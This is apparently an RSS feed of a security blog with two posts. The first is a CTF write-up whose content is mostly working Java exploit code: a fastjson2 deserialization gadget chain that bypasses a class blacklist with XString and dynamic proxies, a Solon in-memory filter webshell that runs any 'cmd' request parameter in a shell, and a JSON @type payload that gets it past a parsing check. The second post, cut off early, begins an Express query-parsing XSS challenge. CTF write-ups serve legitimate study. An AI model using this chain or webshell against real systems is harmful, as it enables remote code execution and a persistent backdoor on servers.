<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>p0l1st's blog</title><link>https://blog.p0l1st.top/</link><description>p0l1st's blog</description><generator>Hugo 0.161.1 &amp; FixIt v0.4.5</generator><language>en-us</language><managingEditor>p0l1st@venomsec.org (p0l1st)</managingEditor><webMaster>p0l1st@venomsec.org (p0l1st)</webMaster><lastBuildDate>Mon, 04 May 2026 14:05:53 +0800</lastBuildDate><atom:link href="https://blog.p0l1st.top/index.xml" rel="self" type="application/rss+xml"/><item><title>L3HCTF2025 TellMeWhy</title><link>https://blog.p0l1st.top/post/l3hctf2025-tellmewhy/</link><pubDate>Mon, 04 May 2026 14:05:53 +0800</pubDate><author>p0l1st@venomsec.org (p0l1st)</author><guid>https://blog.p0l1st.top/post/l3hctf2025-tellmewhy/</guid><category domain="https://blog.p0l1st.top/categories/java%E5%AE%89%E5%85%A8/">Java安全</category><description>&lt;p&gt;使用了solon框架，存在fastjson2依赖&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418923.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;并且/baby/why路由可以反序列化&lt;/p&gt;
&lt;p&gt;存在反序列化黑名单&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418723.png' alt="img"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;javax.management.BadAttributeValueExpException&lt;/li&gt;
&lt;li&gt;javax.swing.event.EventListenerList&lt;/li&gt;
&lt;li&gt;javax.swing.UIDefaults$TextAndMnemonicHashMap&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目的是想要过滤可以触发&lt;code&gt;JsonArray.toString&lt;/code&gt;的链子，常见的可以触发toString方法的链子如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XString&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Hashmap#readobject --&amp;gt; 
 XString#equals --&amp;gt; 
 JSONArray.toString&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;HotSwappableTargetSource&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;HashMap#readObject -&amp;gt; 
 HotSwappableTargetSource#equals -&amp;gt; 
 XString#equals -&amp;gt; 
 JSONArray.toString&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;BadAttributeValueExpException&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;BadAttributeValueExpException#readObject --&amp;gt; 
 JSONArray#toString&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;EventListenerList&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;EventListenerList#readobject --&amp;gt; 
 UndoManager#toString --&amp;gt;
 Vector#toString --&amp;gt;
 JSONArray#toString&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;TextAndMnemonicHashMap&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;hashmap#readObject--&amp;gt;
 HashMap#putVal--&amp;gt;
 AbstractMap#equals--&amp;gt;
 TextAndMnemonicHashMap#get--&amp;gt;
 JSONArray#toString&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;那么在这里我们可以利用&lt;code&gt;XString&lt;/code&gt;去触发&lt;code&gt;JsonArray.toString&lt;/code&gt;
或者可以用tabby去跑一下&lt;/p&gt;
&lt;h1 class="heading-element" id="fastjson2原生反序列化"&gt;&lt;span&gt;fastjson2原生反序列化&lt;/span&gt;
 &lt;a href="#fastjson2%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;fastjson2.0.26之前有一条原生反序列化链&lt;/p&gt;
&lt;p&gt;通过调用&lt;code&gt;JSONArray&lt;/code&gt;类的&lt;code&gt;toString&lt;/code&gt;方法时，可遍历调用其元素的任意公开getter方法，从而触发&lt;code&gt;TemplatesImpl#getOutputProperties&lt;/code&gt;，最终加载任意恶意字节码来rce&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418033.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;我们把这里的&lt;code&gt;BadAttributeValueExpException&lt;/code&gt;替换为&lt;code&gt;XString&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Test {
 public static void main(String[] args) throws Exception{
 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass(&amp;#34;a&amp;#34;);
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody(&amp;#34;Runtime.getRuntime().exec(\&amp;#34;open -a Calculator\&amp;#34;);&amp;#34;);
 clazz.addConstructor(constructor);

 byte[][] bytes = new byte[][]{clazz.toBytecode()};
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, &amp;#34;_bytecodes&amp;#34;, bytes);
 setValue(templates, &amp;#34;_name&amp;#34;, &amp;#34;p0l1st&amp;#34;);
 setValue(templates, &amp;#34;_tfactory&amp;#34;, null);


 JSONArray jsonArray = new JSONArray();
 jsonArray.add(templates);
 
 XString xs = new XString(&amp;#34;\n&amp;#34;);

 HashMap hashMap = new HashMap&amp;lt;&amp;gt;();
 HashMap hashMap2 = new HashMap&amp;lt;&amp;gt;();
 hashMap.put(&amp;#34;yy&amp;#34;,jsonArray);
 hashMap.put(&amp;#34;zZ&amp;#34;, xs);
 hashMap2.put(&amp;#34;yy&amp;#34;,xs);
 hashMap2.put(&amp;#34;zZ&amp;#34;,jsonArray);
 Object obj = makeMap(hashMap, hashMap2);
 //序列化
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
 objectOutputStream.writeObject(obj);

 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object)ois.readObject();
 }
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }
 public static HashMap makeMap(Object v1, Object v2) throws Exception {
 HashMap s = new HashMap();
 setValue(s, &amp;#34;size&amp;#34;, 2);
 Class nodeC;
 try {
 nodeC = Class.forName(&amp;#34;java.util.HashMap$Node&amp;#34;);
 } catch (ClassNotFoundException e) {
 nodeC = Class.forName(&amp;#34;java.util.HashMap$Entry&amp;#34;);
 }
 Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
 nodeCons.setAccessible(true);

 Object tbl = Array.newInstance(nodeC, 2);
 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
 Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
 setValue(s, &amp;#34;table&amp;#34;, tbl);
 return s;
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418993.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;这样看起来好像我们已经成功绕过了黑名单，但是当前使用的fastjson2版本是2.0.26，而题目使用版本是2.0.57&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418627.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;在这个版本中&lt;code&gt;TemplatesImpl&lt;/code&gt;已经被加入黑名单，所以我们不能通过触发getter去直接调用了&lt;/p&gt;
&lt;p&gt;常见打法是通过动态代理来绕过&lt;/p&gt;
&lt;h1 class="heading-element" id="动态代理绕高版本fastjson"&gt;&lt;span&gt;动态代理绕高版本fastjson&lt;/span&gt;
 &lt;a href="#%e5%8a%a8%e6%80%81%e4%bb%a3%e7%90%86%e7%bb%95%e9%ab%98%e7%89%88%e6%9c%acfastjson" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;参考：https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q&lt;/p&gt;
&lt;p&gt;理论上的方法应该是&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用ObjectFactoryDelegatingInvocationHandler代理Templates接口，被调用getOutputProperties方法&lt;/li&gt;
&lt;li&gt;用JSONObject代理ObjectFactoryDelegatingInvocationHandler中的objectFactory属性，返回teamplatesImpl&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但是当前框架是solon，不存在spring相关依赖&lt;/p&gt;
&lt;p&gt;出题人给了MyProxy这个类，有一个&lt;code&gt;invoke&lt;/code&gt;方法，其实是和&lt;code&gt;ObjectFactoryDelegatingInvocationHandler#invoke&lt;/code&gt;一样的&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418742.png' alt="img"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="exp"&gt;&lt;span&gt;Exp&lt;/span&gt;
 &lt;a href="#exp" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;根据上面思路构造exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xpath.internal.objects.XString;
import gadgets.*;
import org.example.demo.Utils.MyObject;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class ExpFinal {
 public static void main(String[] args) throws Exception {
 Object object = new ExpFinal().getObject(&amp;#34;open -a Calculator&amp;#34;);
 byte[] ser = serialize(object);
 String base64ser = Base64.getEncoder().encodeToString(ser);
 System.out.println(base64ser);
 runGadgets(object);

 }
 public Object getObject (String cmd) throws Exception {

 Object node1 = TemplatesImplNode.makeGadget(cmd);
 Map map = new HashMap();
 map.put(&amp;#34;object&amp;#34;,node1);
 Object node2 = JSONObjectNode.makeGadget(2,map);

 Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
 new Class[]{MyObject.class}, (InvocationHandler)node2);
 Object node3 = ObjectFactoryDelegatingInvocationHandlerNode.makeGadget(proxy1);
 Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
 new Class[]{Templates.class}, (InvocationHandler)node3);

 Object node4 = JsonArrayNode.makeGadget(2,proxy2);

 XString xs = new XString(&amp;#34;\n&amp;#34;);
 HashMap hashMap = new HashMap&amp;lt;&amp;gt;();
 HashMap hashMap2 = new HashMap&amp;lt;&amp;gt;();
 hashMap.put(&amp;#34;yy&amp;#34;,node4);
 hashMap.put(&amp;#34;zZ&amp;#34;, xs);
 hashMap2.put(&amp;#34;yy&amp;#34;,xs);
 hashMap2.put(&amp;#34;zZ&amp;#34;,node4);

 Object obj = makeMap(hashMap, hashMap2);
// Object node5 = BadAttrValExeNode.makeGadget(node4);
// Object[] array = new Object[]{node1,obj};
// Object node6 = HashMapNode.makeGadget(array);
 return obj;
 }

 public static HashMap makeMap(Object v1, Object v2) throws Exception {
 HashMap s = new HashMap();
 setValue(s, &amp;#34;size&amp;#34;, 2);
 Class nodeC;
 try {
 nodeC = Class.forName(&amp;#34;java.util.HashMap$Node&amp;#34;);
 } catch (ClassNotFoundException e) {
 nodeC = Class.forName(&amp;#34;java.util.HashMap$Entry&amp;#34;);
 }
 Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
 nodeCons.setAccessible(true);

 Object tbl = Array.newInstance(nodeC, 2);
 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
 Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
 setValue(s, &amp;#34;table&amp;#34;, tbl);
 return s;
 }
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }
 public static void runGadgets(Object obj)throws Exception{
 byte[] ser = serialize(obj);
 deserialize(ser);
 }

 public static byte[] serialize(final Object obj) throws IOException {
 System.out.println(&amp;#34;serialize obj: &amp;#34;&amp;#43; obj.getClass().getName());
 final ByteArrayOutputStream out = new ByteArrayOutputStream();
 final ObjectOutputStream objOut = new ObjectOutputStream(out);
 objOut.writeObject(obj);
 return out.toByteArray();
 }

 public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
 System.out.println(&amp;#34;deserialize obj&amp;#34;);
 final ByteArrayInputStream in = new ByteArrayInputStream(ser);
 final ObjectInputStream objIn = new ObjectInputStream(in);
 return objIn.readObject();
 }

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418766.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;还有一个问题，在反序列化之前对传入的json数量进行对比，solon框架解析到的map和fastjson2解析到的length需要不一致并且传入的json需包含“why”&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418804.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;这个就涉及到两者的解析特性，fastjson2和1一样都支持@type，而solon是无法解析的，可以利用这一点构造pyaload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&amp;#34;@type&amp;#34;: &amp;#34;java.util.HashMap&amp;#34;,&amp;#34;why&amp;#34;:&amp;#34;base64 payload&amp;#34;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418169.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;同时需要绕过过滤器&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418924.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;同时由于远程环境不出网，还需要打solon内存马&lt;/p&gt;
&lt;p&gt;参考：&lt;a href="https://aecous.github.io/2025/03/12/Solon%e5%86%85%e5%ad%98%e9%a9%ac%e5%88%86%e6%9e%90/#Filter%e5%86%85%e5%ad%98%e9%a9%ac" target="_blank" rel="external nofollow noopener noreferrer"&gt;https://aecous.github.io/2025/03/12/Solon%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%86%E6%9E%90/#Filter%E5%86%85%E5%AD%98%E9%A9%AC&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.Solon;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;

public class FilterShell extends AbstractTranslet implements Filter {
 static {
 try {
 Solon.app().chainManager().addFilter(new FilterShell(),0);
 } catch (Exception e) {
 e.printStackTrace();
 }
 }

 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

 }

 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

 }


 @Override
 public void doFilter(Context ctx, FilterChain chain) throws Throwable {
 try{
 if(ctx.param(&amp;#34;cmd&amp;#34;)!=null){
 String str = ctx.param(&amp;#34;cmd&amp;#34;);
 try{
 String[] cmds = System.getProperty(&amp;#34;os.name&amp;#34;).toLowerCase().contains(&amp;#34;win&amp;#34;) ? new String[]{&amp;#34;cmd.exe&amp;#34;, &amp;#34;/c&amp;#34;, str} : new String[]{&amp;#34;/bin/bash&amp;#34;, &amp;#34;-c&amp;#34;, str};
 String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter(&amp;#34;\\A&amp;#34;).next();
 ctx.output(output);
 }catch (Exception e) {
 e.printStackTrace();
 }
 }
 }catch (Throwable e){
 System.out.println(&amp;#34;异常：&amp;#34;&amp;#43;e.getMessage()) ;
 }
 chain.doFilter(ctx);
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;最终exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import common.ClassFiles;
import gadgets.*;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;
import org.example.demo.Utils.MyObject;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class ExpFinal {
 public static void main(String[] args) throws Exception {
 Object object = new ExpFinal().getObject(&amp;#34;open -a Calculator&amp;#34;);
 byte[] ser = serialize(object);
 String base64ser = Base64.getEncoder().encodeToString(ser);
 System.out.println(base64ser);
// runGadgets(object);

 }
 public Object getObject (String cmd) throws Exception {

// Object node1 = TemplatesImplNode.makeGadget(cmd);

 byte[] bytes = Repository.lookupClass(FilterShell.class).getBytes();
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, &amp;#34;_bytecodes&amp;#34;, new byte[][]{bytes});
 setValue(templates, &amp;#34;_name&amp;#34;, &amp;#34;1&amp;#34;);
 setValue(templates, &amp;#34;_tfactory&amp;#34;, null);

 Object node1 = templates;


 Map map = new HashMap();
 map.put(&amp;#34;object&amp;#34;,node1);
 Object node2 = JSONObjectNode.makeGadget(2,map);

 Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
 new Class[]{MyObject.class}, (InvocationHandler)node2);
 Object node3 = ObjectFactoryDelegatingInvocationHandlerNode.makeGadget(proxy1);
 Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
 new Class[]{Templates.class}, (InvocationHandler)node3);

 Object node4 = JsonArrayNode.makeGadget(2,proxy2);

 XString xs = new XString(&amp;#34;\n&amp;#34;);
 HashMap hashMap = new HashMap&amp;lt;&amp;gt;();
 HashMap hashMap2 = new HashMap&amp;lt;&amp;gt;();
 hashMap.put(&amp;#34;yy&amp;#34;,node4);
 hashMap.put(&amp;#34;zZ&amp;#34;, xs);
 hashMap2.put(&amp;#34;yy&amp;#34;,xs);
 hashMap2.put(&amp;#34;zZ&amp;#34;,node4);

 Object obj = makeMap(hashMap, hashMap2);
// Object node5 = BadAttrValExeNode.makeGadget(node4);
// Object[] array = new Object[]{node1,obj};
// Object node6 = HashMapNode.makeGadget(array);
 return obj;
 }

 public static HashMap makeMap(Object v1, Object v2) throws Exception {
 HashMap s = new HashMap();
 setValue(s, &amp;#34;size&amp;#34;, 2);
 Class nodeC;
 try {
 nodeC = Class.forName(&amp;#34;java.util.HashMap$Node&amp;#34;);
 } catch (ClassNotFoundException e) {
 nodeC = Class.forName(&amp;#34;java.util.HashMap$Entry&amp;#34;);
 }
 Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
 nodeCons.setAccessible(true);

 Object tbl = Array.newInstance(nodeC, 2);
 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
 Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
 setValue(s, &amp;#34;table&amp;#34;, tbl);
 return s;
 }
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }
 public static void runGadgets(Object obj)throws Exception{
 byte[] ser = serialize(obj);
 deserialize(ser);
 }

 public static byte[] serialize(final Object obj) throws IOException {
 System.out.println(&amp;#34;serialize obj: &amp;#34;&amp;#43; obj.getClass().getName());
 final ByteArrayOutputStream out = new ByteArrayOutputStream();
 final ObjectOutputStream objOut = new ObjectOutputStream(out);
 objOut.writeObject(obj);
 return out.toByteArray();
 }

 public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
 System.out.println(&amp;#34;deserialize obj&amp;#34;);
 final ByteArrayInputStream in = new ByteArrayInputStream(ser);
 final ObjectInputStream objIn = new ObjectInputStream(in);
 return objIn.readObject();
 }


}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;注入内存马&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418107.png' alt="img"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202605041418152.png' alt="img"&gt;&lt;/p&gt;</description></item><item><title>Express应⽤预处理特性绕过服务端校验实现XSS</title><link>https://blog.p0l1st.top/post/express%E5%BA%94%E9%A2%84%E5%A4%84%E7%90%86%E7%89%B9%E6%80%A7%E7%BB%95%E8%BF%87%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%A0%A1%E9%AA%8C%E5%AE%9E%E7%8E%B0xss/</link><pubDate>Tue, 03 Mar 2026 20:25:51 +0000</pubDate><author>p0l1st@venomsec.org (p0l1st)</author><guid>https://blog.p0l1st.top/post/express%E5%BA%94%E9%A2%84%E5%A4%84%E7%90%86%E7%89%B9%E6%80%A7%E7%BB%95%E8%BF%87%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%A0%A1%E9%AA%8C%E5%AE%9E%E7%8E%B0xss/</guid><category domain="https://blog.p0l1st.top/categories/web%E5%AE%89%E5%85%A8/">Web安全</category><description>&lt;h1 class="heading-element" id="前言"&gt;&lt;span&gt;前言&lt;/span&gt;
 &lt;a href="#%e5%89%8d%e8%a8%80" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;之前&lt;a href="https://x.com/AmirMSafari/status/2020569860472750512" target="_blank" rel="external nofollow noopener noreferrer"&gt;推特&lt;/a&gt;上的一道题，题目环境：https://pwnbox.xyz/&lt;/p&gt;
&lt;p&gt;核心原理就是&lt;strong&gt;Express框架中qs库对查询字符串进行预处理时与浏览器原生的&lt;code&gt;URLSearchParams&lt;/code&gt;之间存在的解析差异，通过这种差异来绕过服务端的严格校验从而在客户端触发XSS&lt;/strong&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="题目分析"&gt;&lt;span&gt;题目分析&lt;/span&gt;
 &lt;a href="#%e9%a2%98%e7%9b%ae%e5%88%86%e6%9e%90" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;代码如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const express = require(&amp;#39;express&amp;#39;);
const app = express();
app.set(&amp;#39;query parser&amp;#39;, &amp;#39;extended&amp;#39;);

app.get(&amp;#39;/&amp;#39;, (req, res) =&amp;gt; {
 const redirectUri = req.query.redirect_uri;
 if (!redirectUri) {
 return res.send(&amp;#34;redirect_uri is required&amp;#34;);
 }
 if (redirectUri !== &amp;#34;https://pwnbox.xyz/docs&amp;#34;) {
 return res.send(&amp;#34;Invalid redirect_uri&amp;#34;);
 }
 return res.send(`
 &amp;lt;script&amp;gt;
 var uri = new URLSearchParams(window.location.search).get(&amp;#34;redirect_uri&amp;#34;);
 location = uri;
 &amp;lt;/script&amp;gt;
 `);
});&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;从请求中提取&lt;code&gt;redirect_uri&lt;/code&gt;参数，然后判断该参数是否为空，如果不为空则判断是否等于&lt;code&gt;https://pwnbox.xyz/docs&lt;/code&gt;，最后返回一段包含&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签的页面&lt;/p&gt;
